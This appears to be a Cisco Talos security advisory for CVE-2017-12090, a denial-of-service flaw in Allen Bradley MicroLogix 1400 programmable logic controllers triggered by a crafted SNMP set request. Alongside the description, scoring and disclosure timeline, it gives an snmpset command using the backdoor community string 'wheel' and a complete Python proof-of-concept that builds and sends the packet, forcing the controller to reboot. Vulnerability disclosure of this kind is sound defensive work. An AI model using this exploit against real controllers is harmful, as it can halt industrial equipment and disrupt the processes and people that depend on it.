CVE-2017-12090
An exploitable denial of service vulnerability exists in the processing of snmp-set commands of the Allen Bradley Micrologix 1400 Series B FRN 21.2 and below. A specially crafted snmp-set request, when sent without associated firmware flashing snmp-set commands, can cause a device power cycle resulting in downtime for the device. An attacker can send one packet to trigger this vulnerability.
Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15
http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400
7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
CWE-696: Incorrect Behavior Order
During a firmware update, the SNMP OID .1.3.6.1.4.1.95.2.3.1.1.1.1.0 gets set to the integer 2 right before the device reboots and enters the flashing state. If only this SNMP request is sent, the device will still perform a reboot without attempting to perform any flashing operations.
Firmware versions 16.2 and below support this functionality with both SNMPv1 and SNMPv2c, however as of firmware version 21.0 it is only supported in SNMPv1.
While this vulnerability requires a priviliged SNMP community string to exploit, it is possible to use the backdoor priviliged string ‘wheel’ disclosed in CVE-2016-5645 (TALOS-2016-0184) to perform the snmp-set operation even if the ‘private’ string has been changed.
Set the OID value to 2 using snmpset
snmpset -c wheel -v 1
Additionally, the following script can be used to trigger the condition. The process is the same for both PoCs.
Usage: python
import argparse
import socket
import binascii
import random
import crcmod.predefined
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="PLC ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=161, type=int)
parser.add_argument("-c", "--community", help="community string", default="wheel", type=str)
args = parser.parse_args()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
plc_host = args.ipaddr
port = args.port
comm_str = args.community
def pad_hex(hex_str, size):
if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
if len(hex_str) != size:
numzeros = size - len(hex_str)
zeros = "0"*numzeros
hex_str = "%s%s" % (zeros, hex_str)
return hex_str
def build_snmp_instruction():
length_len = 1
series_tag = "\x30"
series_len = "\x30"
version_tag = "\x02"
version = "\x01"
version_len = len(version)
comm_str_tag ="\x04"
comm_str_len = len(comm_str)
set_request_pdu_tag ="\xa3"
req_id_tag = "\x02"
req_id = "\x7c\xb5\x9d\xb7"
req_id_len = len(req_id)
err_status_tag = "\x02"
err_status ="\x00"
err_status_len = len(err_status)
err_index_tag ="\x02"
err_index ="\x00"
err_index_len = len(err_index)
sub_series_tag ="\x30"
obj_tag = "\x30"
obj_name_tag ="\x06"
obj_name = ""
obj_value_tag = ""
obj_value = ""
obj_name = "\x2b\x06\x01\x04\x01\x5f\x02\x03\x01\x01\x01\x01\x00"
obj_value_tag = "\x02"
obj_value = "\x02"
obj_name_len = len(obj_name)
obj_value_len = len(obj_value)
obj_len = len(obj_tag) + length_len + obj_name_len + len(obj_value_tag) + len(obj_value) + length_len
sub_series_len = len(obj_tag) + length_len + len(obj_name_tag) + len(obj_name) + length_len + len(obj_value_tag) + len(obj_value) + length_len
set_request_pdu_len = len(req_id_tag) + len(req_id) + length_len + len(err_status_tag) + len(err_status) + length_len + len(err_index_tag) + len(err_index) + length_len + len(sub_series_tag) + length_len + sub_series_len
series_len = len(version_tag) + len(version) + length_len + len(comm_str_tag) + len(comm_str) + length_len + len(set_request_pdu_tag) + length_len + set_request_pdu_len
version_len = binascii.unhexlify(pad_hex(hex(version_len)[2:],2))
comm_str_len = binascii.unhexlify(pad_hex(hex(comm_str_len)[2:],2))
req_id_len = binascii.unhexlify(pad_hex(hex(req_id_len)[2:],2))
err_status_len = binascii.unhexlify(pad_hex(hex(err_status_len)[2:],2))
err_index_len = binascii.unhexlify(pad_hex(hex(err_index_len)[2:],2))
obj_len = binascii.unhexlify(pad_hex(hex(obj_len)[2:],2))
obj_name_len = binascii.unhexlify(pad_hex(hex(obj_name_len)[2:],2))
obj_value_len = binascii.unhexlify(pad_hex(hex(obj_value_len)[2:],2))
sub_series_len = binascii.unhexlify(pad_hex(hex(sub_series_len)[2:],2))
set_request_pdu_len = binascii.unhexlify(pad_hex(hex(set_request_pdu_len)[2:],2))
series_len = binascii.unhexlify(pad_hex(hex(series_len)[2:],2))
packet = series_tag + series_len + version_tag + version_len + version + comm_str_tag + comm_str_len + comm_str + set_request_pdu_tag + set_request_pdu_len + req_id_tag + req_id_len + req_id + err_status_tag + err_status_len + err_status + err_index_tag + err_index_len + err_index + sub_series_tag + sub_series_len + obj_tag + obj_len + obj_name_tag + obj_name_len + obj_name + obj_value_tag + obj_value_len + obj_value
return packet
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((plc_host, port))
sock.send(build_snmp_instruction())
sock.shutdown(socket.SHUT_RDWR)
sock.close()
2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release
Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.